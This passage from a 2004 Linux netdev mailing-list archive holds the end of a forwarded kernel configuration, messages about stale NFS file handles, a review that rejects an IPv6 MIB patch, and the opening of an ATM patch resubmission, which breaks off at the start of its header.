CONFIG_SERIAL_8250_SHARE_IRQ=y CONFIG_SERIAL_8250_DETECT_IRQ=y # CONFIG_SERIAL_8250_MULTIPORT is not set # CONFIG_SERIAL_8250_RSA is not set # # Non-8250 serial port support # CONFIG_SERIAL_CORE=y CONFIG_SERIAL_CORE_CONSOLE=y CONFIG_UNIX98_PTYS=y CONFIG_UNIX98_PTY_COUNT=256 CONFIG_PRINTER=m # CONFIG_LP_CONSOLE is not set CONFIG_PPDEV=m # CONFIG_TIPAR is not set # # I2C support # CONFIG_I2C=m CONFIG_I2C_CHARDEV=m # # I2C Algorithms # CONFIG_I2C_ALGOBIT=m CONFIG_I2C_ALGOPCF=m # # I2C Hardware Bus support # CONFIG_I2C_ALI1535=m CONFIG_I2C_ALI15X3=m CONFIG_I2C_AMD756=m CONFIG_I2C_AMD8111=m CONFIG_I2C_ELV=m CONFIG_I2C_I801=m CONFIG_I2C_I810=m CONFIG_I2C_ISA=m CONFIG_I2C_NFORCE2=m CONFIG_I2C_PHILIPSPAR=m CONFIG_I2C_PIIX4=m CONFIG_I2C_PROSAVAGE=m CONFIG_I2C_SAVAGE4=m CONFIG_SCx200_ACB=m CONFIG_I2C_SIS5595=m CONFIG_I2C_SIS630=m CONFIG_I2C_SIS96X=m CONFIG_I2C_VELLEMAN=m CONFIG_I2C_VIA=m CONFIG_I2C_VIAPRO=m CONFIG_I2C_VOODOO3=m # # I2C Hardware Sensors Chip support # CONFIG_I2C_SENSOR=m CONFIG_SENSORS_ADM1021=m CONFIG_SENSORS_EEPROM=m CONFIG_SENSORS_IT87=m CONFIG_SENSORS_LM75=m CONFIG_SENSORS_LM78=m CONFIG_SENSORS_LM83=m CONFIG_SENSORS_LM85=m CONFIG_SENSORS_VIA686A=m CONFIG_SENSORS_W83781D=m # # Mice # # CONFIG_BUSMOUSE is not set # CONFIG_QIC02_TAPE is not set # # IPMI # CONFIG_IPMI_HANDLER=m # CONFIG_IPMI_PANIC_EVENT is not set CONFIG_IPMI_DEVICE_INTERFACE=m CONFIG_IPMI_KCS=m CONFIG_IPMI_WATCHDOG=m # # Watchdog Cards # CONFIG_WATCHDOG=y # CONFIG_WATCHDOG_NOWAYOUT is not set CONFIG_SOFT_WATCHDOG=m # CONFIG_WDT is not set # CONFIG_WDTPCI is not set # CONFIG_PCWATCHDOG is not set # CONFIG_ACQUIRE_WDT is not set # CONFIG_ADVANTECH_WDT is not set # CONFIG_EUROTECH_WDT is not set # CONFIG_IB700_WDT is not set # CONFIG_I810_TCO is not set # CONFIG_MIXCOMWD is not set # CONFIG_SCx200_WDT is not set # CONFIG_60XX_WDT is not set # CONFIG_W83877F_WDT is not set # CONFIG_W83627HF_WDT is not set # CONFIG_MACHZ_WDT is not set # CONFIG_SC520_WDT is not set # CONFIG_AMD7XX_TCO is not set # CONFIG_ALIM7101_WDT is not set # CONFIG_ALIM1535_WDT is not set # CONFIG_SC1200_WDT is not set # CONFIG_WAFER_WDT is not set # CONFIG_CPU5_WDT is not set CONFIG_HW_RANDOM=m CONFIG_NVRAM=m CONFIG_RTC=m CONFIG_GEN_RTC=m CONFIG_GEN_RTC_X=y # CONFIG_DTLK is not set # CONFIG_R3964 is not set # CONFIG_APPLICOM is not set # CONFIG_SONYPI is not set # # Ftape, the floppy tape device driver # CONFIG_AGP=m CONFIG_AGP_ALI=m CONFIG_AGP_ATI=m CONFIG_AGP_AMD=m # CONFIG_AGP_AMD64 is not set CONFIG_AGP_INTEL=m CONFIG_AGP_NVIDIA=m CONFIG_AGP_SIS=m CONFIG_AGP_SWORKS=m CONFIG_AGP_VIA=m CONFIG_DRM=y CONFIG_DRM_TDFX=m CONFIG_DRM_GAMMA=m CONFIG_DRM_R128=m CONFIG_DRM_RADEON=m CONFIG_DRM_I810=m CONFIG_DRM_I830=m CONFIG_DRM_MGA=m CONFIG_DRM_SIS=m # CONFIG_MWAVE is not set CONFIG_RAW_DRIVER=m CONFIG_MAX_RAW_DEVS=256 CONFIG_HANGCHECK_TIMER=y # # Multimedia devices # # CONFIG_VIDEO_DEV is not set # # Digital Video Broadcasting Devices # # CONFIG_DVB is not set # # Graphics support # # CONFIG_FB is not set CONFIG_VIDEO_SELECT=y # # Console display driver support # CONFIG_VGA_CONSOLE=y # CONFIG_MDA_CONSOLE is not set CONFIG_DUMMY_CONSOLE=y # # Sound # CONFIG_SOUND=m # # Advanced Linux Sound Architecture # CONFIG_SND=m CONFIG_SND_SEQUENCER=m # CONFIG_SND_SEQ_DUMMY is not set CONFIG_SND_OSSEMUL=y CONFIG_SND_MIXER_OSS=m CONFIG_SND_PCM_OSS=m CONFIG_SND_SEQUENCER_OSS=y CONFIG_SND_RTCTIMER=m # CONFIG_SND_VERBOSE_PRINTK is not set # CONFIG_SND_DEBUG is not set # # Generic devices # # CONFIG_SND_DUMMY is not set CONFIG_SND_VIRMIDI=m CONFIG_SND_MTPAV=m CONFIG_SND_SERIAL_U16550=m CONFIG_SND_MPU401=m # # ISA devices # CONFIG_SND_AD1816A=m CONFIG_SND_AD1848=m CONFIG_SND_CS4231=m CONFIG_SND_CS4232=m CONFIG_SND_CS4236=m CONFIG_SND_ES968=m CONFIG_SND_ES1688=m CONFIG_SND_ES18XX=m CONFIG_SND_GUSCLASSIC=m CONFIG_SND_GUSEXTREME=m CONFIG_SND_GUSMAX=m CONFIG_SND_INTERWAVE=m CONFIG_SND_INTERWAVE_STB=m CONFIG_SND_OPTI92X_AD1848=m CONFIG_SND_OPTI92X_CS4231=m CONFIG_SND_OPTI93X=m CONFIG_SND_SB8=m CONFIG_SND_SB16=m CONFIG_SND_SBAWE=m CONFIG_SND_SB16_CSP=y CONFIG_SND_WAVEFRONT=m CONFIG_SND_ALS100=m CONFIG_SND_AZT2320=m CONFIG_SND_CMI8330=m CONFIG_SND_DT019X=m CONFIG_SND_OPL3SA2=m CONFIG_SND_SGALAXY=m CONFIG_SND_SSCAPE=m # # PCI devices # CONFIG_SND_ALI5451=m CONFIG_SND_AZT3328=m CONFIG_SND_CS46XX=m CONFIG_SND_CS46XX_NEW_DSP=y CONFIG_SND_CS4281=m CONFIG_SND_EMU10K1=m CONFIG_SND_KORG1212=m CONFIG_SND_NM256=m CONFIG_SND_RME32=m CONFIG_SND_RME96=m CONFIG_SND_RME9652=m CONFIG_SND_HDSP=m CONFIG_SND_TRIDENT=m CONFIG_SND_YMFPCI=m CONFIG_SND_ALS4000=m CONFIG_SND_CMIPCI=m CONFIG_SND_ENS1370=m CONFIG_SND_ENS1371=m CONFIG_SND_ES1938=m CONFIG_SND_ES1968=m CONFIG_SND_MAESTRO3=m CONFIG_SND_FM801=m CONFIG_SND_ICE1712=m CONFIG_SND_ICE1724=m CONFIG_SND_INTEL8X0=m CONFIG_SND_SONICVIBES=m CONFIG_SND_VIA82XX=m CONFIG_SND_VX222=m # # ALSA USB devices # CONFIG_SND_USB_AUDIO=m # # Open Sound System # CONFIG_SOUND_PRIME=m CONFIG_SOUND_BT878=m CONFIG_SOUND_CMPCI=m CONFIG_SOUND_CMPCI_FM=y CONFIG_SOUND_CMPCI_FMIO=0x388 CONFIG_SOUND_CMPCI_MIDI=y CONFIG_SOUND_CMPCI_MPUIO=0x330 CONFIG_SOUND_CMPCI_JOYSTICK=y CONFIG_SOUND_CMPCI_CM8738=y CONFIG_SOUND_CMPCI_SPDIFINVERSE=y CONFIG_SOUND_CMPCI_SPDIFLOOP=y CONFIG_SOUND_CMPCI_SPEAKERS=2 CONFIG_SOUND_EMU10K1=m CONFIG_MIDI_EMU10K1=y CONFIG_SOUND_FUSION=m CONFIG_SOUND_CS4281=m CONFIG_SOUND_ES1370=m CONFIG_SOUND_ES1371=m CONFIG_SOUND_ESSSOLO1=m CONFIG_SOUND_MAESTRO=m CONFIG_SOUND_MAESTRO3=m CONFIG_SOUND_ICH=m CONFIG_SOUND_SONICVIBES=m CONFIG_SOUND_TRIDENT=m CONFIG_SOUND_MSNDCLAS=m CONFIG_MSNDCLAS_INIT_FILE="/etc/sound/msndinit.bin" CONFIG_MSNDCLAS_PERM_FILE="/etc/sound/msndperm.bin" CONFIG_SOUND_MSNDPIN=m CONFIG_MSNDPIN_INIT_FILE="/etc/sound/pndspini.bin" CONFIG_MSNDPIN_PERM_FILE="/etc/sound/pndsperm.bin" CONFIG_SOUND_VIA82CXXX=m CONFIG_MIDI_VIA82CXXX=y # CONFIG_SOUND_OSS is not set CONFIG_SOUND_TVMIXER=m CONFIG_SOUND_ALI5455=m CONFIG_SOUND_FORTE=m CONFIG_SOUND_RME96XX=m CONFIG_SOUND_AD1980=m # # USB support # CONFIG_USB=m # CONFIG_USB_DEBUG is not set # # Miscellaneous USB options # CONFIG_USB_DEVICEFS=y CONFIG_USB_BANDWIDTH=y # CONFIG_USB_DYNAMIC_MINORS is not set # # USB Host Controller Drivers # CONFIG_USB_EHCI_HCD=m CONFIG_USB_OHCI_HCD=m CONFIG_USB_UHCI_HCD=m # # USB Device Class drivers # CONFIG_USB_AUDIO=m CONFIG_USB_BLUETOOTH_TTY=m CONFIG_USB_MIDI=m CONFIG_USB_ACM=m CONFIG_USB_PRINTER=m CONFIG_USB_STORAGE=m CONFIG_USB_STORAGE_DEBUG=y CONFIG_USB_STORAGE_DATAFAB=y CONFIG_USB_STORAGE_FREECOM=y CONFIG_USB_STORAGE_ISD200=y CONFIG_USB_STORAGE_DPCM=y CONFIG_USB_STORAGE_HP8200e=y CONFIG_USB_STORAGE_SDDR09=y CONFIG_USB_STORAGE_SDDR55=y CONFIG_USB_STORAGE_JUMPSHOT=y # # USB Human Interface Devices (HID) # CONFIG_USB_HID=m CONFIG_USB_HIDINPUT=y CONFIG_HID_FF=y CONFIG_HID_PID=y CONFIG_LOGITECH_FF=y CONFIG_THRUSTMASTER_FF=y CONFIG_USB_HIDDEV=y # # USB HID Boot Protocol drivers # CONFIG_USB_KBD=m CONFIG_USB_MOUSE=m CONFIG_USB_AIPTEK=m CONFIG_USB_WACOM=m CONFIG_USB_KBTAB=m CONFIG_USB_POWERMATE=m # CONFIG_USB_XPAD is not set # # USB Imaging devices # CONFIG_USB_MDC800=m CONFIG_USB_SCANNER=m CONFIG_USB_MICROTEK=m CONFIG_USB_HPUSBSCSI=m # # USB Multimedia devices # CONFIG_USB_DABUSB=m # # Video4Linux support is needed for USB Multimedia device support # # # USB Network adaptors # CONFIG_USB_CATC=m CONFIG_USB_KAWETH=m CONFIG_USB_PEGASUS=m CONFIG_USB_RTL8150=m CONFIG_USB_USBNET=m # # USB Host-to-Host Cables # CONFIG_USB_AN2720=y CONFIG_USB_BELKIN=y CONFIG_USB_GENESYS=y CONFIG_USB_NET1080=y CONFIG_USB_PL2301=y # # Intelligent USB Devices/Gadgets # CONFIG_USB_ARMLINUX=y CONFIG_USB_EPSON2888=y CONFIG_USB_ZAURUS=y CONFIG_USB_CDCETHER=y # # USB Network Adapters # CONFIG_USB_AX8817X=y # # USB port drivers # CONFIG_USB_USS720=m # # USB Serial Converter support # CONFIG_USB_SERIAL=m CONFIG_USB_SERIAL_GENERIC=y CONFIG_USB_SERIAL_BELKIN=m CONFIG_USB_SERIAL_DIGI_ACCELEPORT=m CONFIG_USB_SERIAL_EMPEG=m CONFIG_USB_SERIAL_FTDI_SIO=m CONFIG_USB_SERIAL_VISOR=m CONFIG_USB_SERIAL_IPAQ=m CONFIG_USB_SERIAL_IR=m CONFIG_USB_SERIAL_EDGEPORT=m CONFIG_USB_SERIAL_EDGEPORT_TI=m CONFIG_USB_SERIAL_KEYSPAN_PDA=m CONFIG_USB_SERIAL_KEYSPAN=m # CONFIG_USB_SERIAL_KEYSPAN_MPR is not set # CONFIG_USB_SERIAL_KEYSPAN_USA28 is not set # CONFIG_USB_SERIAL_KEYSPAN_USA28X is not set # CONFIG_USB_SERIAL_KEYSPAN_USA28XA is not set # CONFIG_USB_SERIAL_KEYSPAN_USA28XB is not set # CONFIG_USB_SERIAL_KEYSPAN_USA19 is not set # CONFIG_USB_SERIAL_KEYSPAN_USA18X is not set # CONFIG_USB_SERIAL_KEYSPAN_USA19W is not set # CONFIG_USB_SERIAL_KEYSPAN_USA19QW is not set # CONFIG_USB_SERIAL_KEYSPAN_USA19QI is not set # CONFIG_USB_SERIAL_KEYSPAN_USA49W is not set # CONFIG_USB_SERIAL_KEYSPAN_USA49WLC is not set CONFIG_USB_SERIAL_KLSI=m CONFIG_USB_SERIAL_KOBIL_SCT=m CONFIG_USB_SERIAL_MCT_U232=m CONFIG_USB_SERIAL_PL2303=m CONFIG_USB_SERIAL_SAFE=m CONFIG_USB_SERIAL_SAFE_PADDED=y CONFIG_USB_SERIAL_CYBERJACK=m CONFIG_USB_SERIAL_XIRCOM=m CONFIG_USB_SERIAL_OMNINET=m CONFIG_USB_EZUSB=y # # USB Miscellaneous drivers # CONFIG_USB_EMI26=m CONFIG_USB_TIGL=m CONFIG_USB_AUERSWALD=m CONFIG_USB_RIO500=m # CONFIG_USB_LEGOTOWER is not set CONFIG_USB_BRLVGER=m CONFIG_USB_LCD=m CONFIG_USB_TEST=m CONFIG_USB_GADGET=m CONFIG_USB_NET2280=m CONFIG_USB_ZERO=m CONFIG_USB_ZERO_NET2280=y CONFIG_USB_ETH=m CONFIG_USB_ETH_NET2280=y # CONFIG_USB_GADGETFS is not set # # File systems # CONFIG_EXT2_FS=m CONFIG_EXT2_FS_XATTR=y CONFIG_EXT2_FS_POSIX_ACL=y # CONFIG_EXT2_FS_SECURITY is not set CONFIG_EXT3_FS=y CONFIG_EXT3_FS_XATTR=y CONFIG_EXT3_FS_POSIX_ACL=y # CONFIG_EXT3_FS_SECURITY is not set CONFIG_JBD=y # CONFIG_JBD_DEBUG is not set CONFIG_FS_MBCACHE=y CONFIG_REISERFS_FS=y # CONFIG_REISERFS_CHECK is not set # CONFIG_REISERFS_PROC_INFO is not set # CONFIG_JFS_FS is not set CONFIG_FS_POSIX_ACL=y # CONFIG_XFS_FS is not set # CONFIG_MINIX_FS is not set # CONFIG_ROMFS_FS is not set CONFIG_QUOTA=y CONFIG_QFMT_V1=m CONFIG_QFMT_V2=m CONFIG_QUOTACTL=y CONFIG_AUTOFS_FS=m CONFIG_AUTOFS4_FS=y # # CD-ROM/DVD Filesystems # CONFIG_ISO9660_FS=m CONFIG_JOLIET=y CONFIG_ZISOFS=y CONFIG_ZISOFS_FS=m CONFIG_UDF_FS=m # # DOS/FAT/NT Filesystems # CONFIG_FAT_FS=m # CONFIG_MSDOS_FS is not set CONFIG_VFAT_FS=m CONFIG_NTFS_FS=m # CONFIG_NTFS_DEBUG is not set # CONFIG_NTFS_RW is not set # # Pseudo filesystems # CONFIG_PROC_FS=y CONFIG_PROC_KCORE=y # CONFIG_DEVFS_FS is not set CONFIG_DEVPTS_FS=y CONFIG_DEVPTS_FS_XATTR=y # CONFIG_DEVPTS_FS_SECURITY is not set CONFIG_TMPFS=y # CONFIG_HUGETLBFS is not set # CONFIG_HUGETLB_PAGE is not set CONFIG_RAMFS=y # # Miscellaneous filesystems # # CONFIG_ADFS_FS is not set # CONFIG_AFFS_FS is not set CONFIG_HFS_FS=m # CONFIG_BEFS_FS is not set # CONFIG_BFS_FS is not set # CONFIG_EFS_FS is not set # CONFIG_CRAMFS is not set # CONFIG_VXFS_FS is not set # CONFIG_HPFS_FS is not set # CONFIG_QNX4FS_FS is not set # CONFIG_SYSV_FS is not set # CONFIG_UFS_FS is not set # # Network File Systems # CONFIG_NFS_FS=m CONFIG_NFS_V3=y # CONFIG_NFS_V4 is not set # CONFIG_NFS_DIRECTIO is not set CONFIG_NFSD=m CONFIG_NFSD_V3=y # CONFIG_NFSD_V4 is not set CONFIG_NFSD_TCP=y CONFIG_LOCKD=m CONFIG_LOCKD_V4=y CONFIG_EXPORTFS=m CONFIG_SUNRPC=m CONFIG_SUNRPC_GSS=m CONFIG_RPCSEC_GSS_KRB5=m CONFIG_SMB_FS=m CONFIG_SMB_NLS_DEFAULT=y CONFIG_SMB_NLS_REMOTE="cp437" CONFIG_CIFS=m # CONFIG_NCP_FS is not set CONFIG_CODA_FS=m # CONFIG_CODA_FS_OLD_API is not set CONFIG_INTERMEZZO_FS=m # CONFIG_AFS_FS is not set # # Partition Types # CONFIG_PARTITION_ADVANCED=y # CONFIG_ACORN_PARTITION is not set # CONFIG_OSF_PARTITION is not set # CONFIG_AMIGA_PARTITION is not set # CONFIG_ATARI_PARTITION is not set CONFIG_MAC_PARTITION=y CONFIG_MSDOS_PARTITION=y # CONFIG_BSD_DISKLABEL is not set # CONFIG_MINIX_SUBPARTITION is not set # CONFIG_SOLARIS_X86_PARTITION is not set # CONFIG_UNIXWARE_DISKLABEL is not set CONFIG_LDM_PARTITION=y CONFIG_LDM_DEBUG=y # CONFIG_NEC98_PARTITION is not set # CONFIG_SGI_PARTITION is not set # CONFIG_ULTRIX_PARTITION is not set # CONFIG_SUN_PARTITION is not set # CONFIG_EFI_PARTITION is not set # # Native Language Support # CONFIG_NLS=y CONFIG_NLS_DEFAULT="iso8859-1" CONFIG_NLS_CODEPAGE_437=m # CONFIG_NLS_CODEPAGE_737 is not set # CONFIG_NLS_CODEPAGE_775 is not set # CONFIG_NLS_CODEPAGE_850 is not set # CONFIG_NLS_CODEPAGE_852 is not set # CONFIG_NLS_CODEPAGE_855 is not set # CONFIG_NLS_CODEPAGE_857 is not set # CONFIG_NLS_CODEPAGE_860 is not set # CONFIG_NLS_CODEPAGE_861 is not set # CONFIG_NLS_CODEPAGE_862 is not set # CONFIG_NLS_CODEPAGE_863 is not set # CONFIG_NLS_CODEPAGE_864 is not set # CONFIG_NLS_CODEPAGE_865 is not set # CONFIG_NLS_CODEPAGE_866 is not set # CONFIG_NLS_CODEPAGE_869 is not set # CONFIG_NLS_CODEPAGE_936 is not set # CONFIG_NLS_CODEPAGE_950 is not set # CONFIG_NLS_CODEPAGE_932 is not set # CONFIG_NLS_CODEPAGE_949 is not set # CONFIG_NLS_CODEPAGE_874 is not set # CONFIG_NLS_ISO8859_8 is not set # CONFIG_NLS_CODEPAGE_1250 is not set # CONFIG_NLS_CODEPAGE_1251 is not set CONFIG_NLS_ISO8859_1=m # CONFIG_NLS_ISO8859_2 is not set # CONFIG_NLS_ISO8859_3 is not set # CONFIG_NLS_ISO8859_4 is not set # CONFIG_NLS_ISO8859_5 is not set # CONFIG_NLS_ISO8859_6 is not set # CONFIG_NLS_ISO8859_7 is not set # CONFIG_NLS_ISO8859_9 is not set # CONFIG_NLS_ISO8859_13 is not set # CONFIG_NLS_ISO8859_14 is not set # CONFIG_NLS_ISO8859_15 is not set # CONFIG_NLS_KOI8_R is not set # CONFIG_NLS_KOI8_U is not set # CONFIG_NLS_UTF8 is not set # # Profiling support # # CONFIG_PROFILING is not set # # Kernel hacking # CONFIG_DEBUG_KERNEL=y # CONFIG_DEBUG_STACKOVERFLOW is not set # CONFIG_DEBUG_SLAB is not set # CONFIG_DEBUG_IOVIRT is not set CONFIG_MAGIC_SYSRQ=y # CONFIG_DEBUG_SPINLOCK is not set # CONFIG_DEBUG_PAGEALLOC is not set # CONFIG_DEBUG_HIGHMEM is not set # CONFIG_DEBUG_INFO is not set CONFIG_DEBUG_SPINLOCK_SLEEP=y CONFIG_FRAME_POINTER=y CONFIG_X86_EXTRA_IRQS=y CONFIG_X86_FIND_SMP_CONFIG=y CONFIG_X86_MPPARSE=y # # Security options # CONFIG_SECURITY=y CONFIG_SECURITY_NETWORK=y CONFIG_SECURITY_CAPABILITIES=y CONFIG_SECURITY_ROOTPLUG=m # CONFIG_SECURITY_SELINUX is not set # # Cryptographic options # CONFIG_CRYPTO=y CONFIG_CRYPTO_HMAC=y # CONFIG_CRYPTO_NULL is not set # CONFIG_CRYPTO_MD4 is not set CONFIG_CRYPTO_MD5=m CONFIG_CRYPTO_SHA1=m CONFIG_CRYPTO_SHA256=m CONFIG_CRYPTO_SHA512=m CONFIG_CRYPTO_DES=m CONFIG_CRYPTO_BLOWFISH=m CONFIG_CRYPTO_TWOFISH=m CONFIG_CRYPTO_SERPENT=m CONFIG_CRYPTO_AES=m CONFIG_CRYPTO_CAST5=m CONFIG_CRYPTO_CAST6=m CONFIG_CRYPTO_DEFLATE=m CONFIG_CRYPTO_TEST=m # # Library routines # CONFIG_CRC32=m CONFIG_ZLIB_INFLATE=m CONFIG_ZLIB_DEFLATE=m CONFIG_X86_SMP=y CONFIG_X86_HT=y CONFIG_X86_BIOS_REBOOT=y CONFIG_X86_TRAMPOLINE=y CONFIG_PC=y ----- End forwarded message ----- From mfedyk@srv-lnx2600.matchmail.com.sgi.com Thu Jan 15 17:22:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 17:23:18 -0800 (PST) Received: from mtaw6.prodigy.net (mtaw6.prodigy.net [64.164.98.56]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0G1MtNT015419 for ; Thu, 15 Jan 2004 17:22:55 -0800 Received: from matchmail.com (adsl-63-194-239-202.dsl.lsan03.pacbell.net [63.194.239.202]) by mtaw6.prodigy.net (8.12.10/8.12.10) with ESMTP id i0G1M0FA016030 for ; Thu, 15 Jan 2004 17:22:03 -0800 (PST) Received: from [10.0.0.2] (helo=srv-lnx2600.matchmail.com) by matchmail.com with esmtp (Exim 4.30) id 1AhIh6-0002JS-Ku; Thu, 15 Jan 2004 17:22:40 -0800 Received: from mfedyk by srv-lnx2600.matchmail.com with local (Exim 4.30) id 1AhIh6-0000Xk-Hg; Thu, 15 Jan 2004 17:22:40 -0800 Date: Thu, 15 Jan 2004 17:22:40 -0800 From: Mike Fedyk To: netdev@oss.sgi.com Subject: Fwd: Re: [2.6] nfs_rename: target $file busy, d_count=2 Message-ID: <20040116012240.GB1880@srv-lnx2600.matchmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.4i X-archive-position: 2530 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mfedyk@matchmail.com Precedence: bulk X-list: netdev Content-Length: 748 Lines: 24 ----- Forwarded message from Mike Fedyk ----- Date: Thu, 15 Jan 2004 16:54:57 -0800 From: Mike Fedyk To: linux-kernel@vger.kernel.org Subject: Re: [2.6] nfs_rename: target $file busy, d_count=2 On Thu, Jan 15, 2004 at 04:03:46PM -0800, Mike Fedyk wrote: > Both client and server are running the same 2.6.1-bk2 kernel with TCP-NFS. > SMP, Highmem, & preempt. I have four clients that are all having this problem also, three 2.6, and one 2.4 client. Using TCP-NFS they all have stale nfs handles even after a reboot (only rebooted one to try with 2.4.23), but changed one to UDP-NFS, and it didn't have the stale handles. Will do more testing with UDP-NFS. Mike ----- End forwarded message ----- From yoshfuji@linux-ipv6.org Thu Jan 15 17:36:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 17:37:05 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0G1akNT016351 for ; Thu, 15 Jan 2004 17:36:47 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id C23C233CA5; Fri, 16 Jan 2004 10:37:13 +0900 (JST) Date: Fri, 16 Jan 2004 10:37:10 +0900 (JST) Message-Id: <20040116.103710.94220850.yoshfuji@linux-ipv6.org> To: davem@redhat.com, xma@us.ibm.com Cc: mashirle@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPv6 MIB:ipv6RouterAdvert netlink notification From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2531 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 1121 Lines: 30 In article (at Thu, 15 Jan 2004 14:31:47 -0800), Shirley Ma says: > This patch is going to be used by SNMP for ipv6RouterAdvert Table. I will > remove this Micro, and resubmit the patch. This patch is conceptually wrong. I think you're misunderstanding the darft. ipv6RouterAdvertTable contains information used to create router advertisements on router. Not on host. Patch should be rejected. From draft-ietf-ipv6-rfc2011-update-05.txt: --- cut here 3.2.9. Router Advertisement Table This table contains the non-routing information that an IPv6 router would use in constructing a router advertisement message. It does not contain information about the prefixes or other routing specific information that the router might advertise. The router should acquire such information from either the routing tables or from some routing table specific MIB. This table is only required for IPv6 router entities. --- cut here -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From mfedyk@srv-lnx2600.matchmail.com.sgi.com Thu Jan 15 18:46:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 18:46:29 -0800 (PST) Received: from mtaw6.prodigy.net (mtaw6.prodigy.net [64.164.98.56]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0G2k3NT017557 for ; Thu, 15 Jan 2004 18:46:07 -0800 Received: from matchmail.com (adsl-63-194-239-202.dsl.lsan03.pacbell.net [63.194.239.202]) by mtaw6.prodigy.net (8.12.10/8.12.10) with ESMTP id i0G2jCFA002443; Thu, 15 Jan 2004 18:45:12 -0800 (PST) Received: from [10.0.0.2] (helo=srv-lnx2600.matchmail.com) by matchmail.com with esmtp (Exim 4.30) id 1AhJzg-0005JM-3O; Thu, 15 Jan 2004 18:45:56 -0800 Received: from mfedyk by srv-lnx2600.matchmail.com with local (Exim 4.30) id 1AhJzf-0001Q2-Mz; Thu, 15 Jan 2004 18:45:55 -0800 Date: Thu, 15 Jan 2004 18:45:55 -0800 From: Mike Fedyk To: linux-kernel@vger.kernel.org Cc: netdev@oss.sgi.com Subject: Re: [2.6] nfs_rename: target $file busy, d_count=2 Message-ID: <20040116024555.GC1880@srv-lnx2600.matchmail.com> Mail-Followup-To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com References: <20040116000346.GD1784@srv-lnx2600.matchmail.com> <20040116005457.GE1784@srv-lnx2600.matchmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040116005457.GE1784@srv-lnx2600.matchmail.com> User-Agent: Mutt/1.5.4i X-archive-position: 2532 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mfedyk@matchmail.com Precedence: bulk X-list: netdev Content-Length: 624 Lines: 17 On Thu, Jan 15, 2004 at 04:54:57PM -0800, Mike Fedyk wrote: > On Thu, Jan 15, 2004 at 04:03:46PM -0800, Mike Fedyk wrote: > > Both client and server are running the same 2.6.1-bk2 kernel with TCP-NFS. > > SMP, Highmem, & preempt. > > I have four clients that are all having this problem also, three 2.6, and > one 2.4 client. > > Using TCP-NFS they all have stale nfs handles even after a reboot (only > rebooted one to try with 2.4.23), but changed one to UDP-NFS, and it didn't > have the stale handles. > > Will do more testing with UDP-NFS. No, TCP and UDP NFS both get stale file handles. :( Can anyone reproduce? From chas@cmf.nrl.navy.mil Thu Jan 15 19:03:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 19:03:50 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0G33YNT018414 for ; Thu, 15 Jan 2004 19:03:36 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i0G33RRr017352; Thu, 15 Jan 2004 22:03:27 -0500 (EST) Message-Id: <200401160303.i0G33RRr017352@ginger.cmf.nrl.navy.mil> To: "David S. Miller" cc: netdev@oss.sgi.com Reply-To: chas3@users.sourceforge.net Subject: Re: [PATCH][ATM]: better behavior for sendmsg/recvmsg during async closes In-reply-to: Your message of "Thu, 15 Jan 2004 00:19:21 PST." <20040115001921.5d3edcbc.davem@redhat.com> Date: Thu, 15 Jan 2004 22:03:29 -0500 From: chas williams (contractor) X-Spam-Score: () hits=-2.9 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 2533 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 2278 Lines: 67 In message <20040115001921.5d3edcbc.davem@redhat.com>,"David S. Miller" writes: >I applied the 2.6.x version, the 2.4.x version did not apply cleanly at all. >Please regenerate the 2.4.x patch for me, thanks Chas. looks like my local 2.4 tree has diverged too much. here is something that is more likely to be useful when patching 2.4: # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is 